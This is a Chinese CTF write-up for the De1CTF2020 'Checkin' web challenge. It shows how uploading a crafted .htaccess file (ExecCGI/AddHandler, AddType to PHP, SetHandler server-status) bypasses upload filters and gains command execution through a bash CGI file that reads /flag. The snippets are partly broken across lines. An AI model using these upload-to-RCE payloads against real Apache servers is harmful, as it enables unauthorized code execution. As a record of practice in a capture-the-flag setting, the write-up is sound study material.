zoukankan      html  css  js  c++  java
  • De1CTF2020--WEB--Checkin的思路总结

    在5.1假期间打了一个DE1CTF,自闭了,菜鸡虽然没打出来几道题,但是有些题有思路还是写一下,记录一下

    果然我还是太菜了啊!

    0X01 考点

    1. .htaccess文件利用(扩展:去年的susctf考察了user.ini利用、17 XMAN选拔赛的upload)

    2. Linux环境下 htaccess对cgi的利用

    3.文件上传绕过:

    (1)MIME(bp 包里面的content-type字段)检验

    (2)后缀黑名单

    (3)文件内容校验

     

    0x02 解题过程

    预期解

    利用条件是:

    1.保证htaccess会被解析,即当前目录中配置了`AllowOverride all或AllowOverride Options FileInfo。AllowOverride参数具体作用可参考Apache之AllowOverride参数详解。(Require all granted也是需要的)
    
    2.cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释。
    
    3.有目录的上传、写入权限。
    

    利用姿势:

    先上传.htaccess,然后利用cgi启动方式利用rce

    .htaccess文件:

    Options ExecCGI
    AddHandler cgi-script .xx
    

    接着上传 1.xx文件

    #!
/bin/bash
     echo
Content-type:
text/html
     echo
""
    
 cat
/flag

    本菜鸡最后死在1.xx的最后一句,菜鸡一直在想着如何弹shell,最后一直都没有,wtcl!

    当然还踩过的坑是,linux的cgi比较严格,上传之后状态码是500,无法解析bash文件,后面用Linux写,再导出就ok

    0x03 其他师傅的非预期解:

    一、利用  “” 进行换行

    .htaccess文件

    AddType
application/x-httpd-p
    hp
.xx
    

    1.xx

    <?='cat
/flag';

    当时和队友也探讨过“”绕过,但是想到之前考过就觉得应该不会这么简单,果断放手了

    (小小的脑袋里装有大大的问号)

    二、利用Apache的服务器状态信息(默认关闭)

    .htaccess文件:

    SetHandler
server-status

    上传文件后,就可以发现自己访问的目录就是Apache的服务器的状态信息,可以看别人的访问记录,接着白嫖.jpg

    0x04 总结

    还是看题看少了,还有就是多尝试!

    菜鸡还是太菜了啊!要加油鸭!

    参考:

    DE1CTF官方WP

    https://www.freebuf.com/vuls/218495.html

  • 相关阅读:
    STM32CubeIDE+FreeRTOS软件定时器实验
    STM32CubeIDE+FreeRTOS事件实验
    STM32CubeIDE+FreeRTOS互斥量实验
    STM32CubeIDE+FreeRTOS模拟优先级反转实验
    STM32CubeIDE+FreeRTOS计数信号量实验
    STM32CubeIDE+FreeRTOS二值信号量实验
    数据库
    并发编程
    网络编程
    面向对象编程(高阶)
  • 原文地址:https://www.cnblogs.com/JeffKing11/p/12826305.html
Copyright © 2011-2022 走看看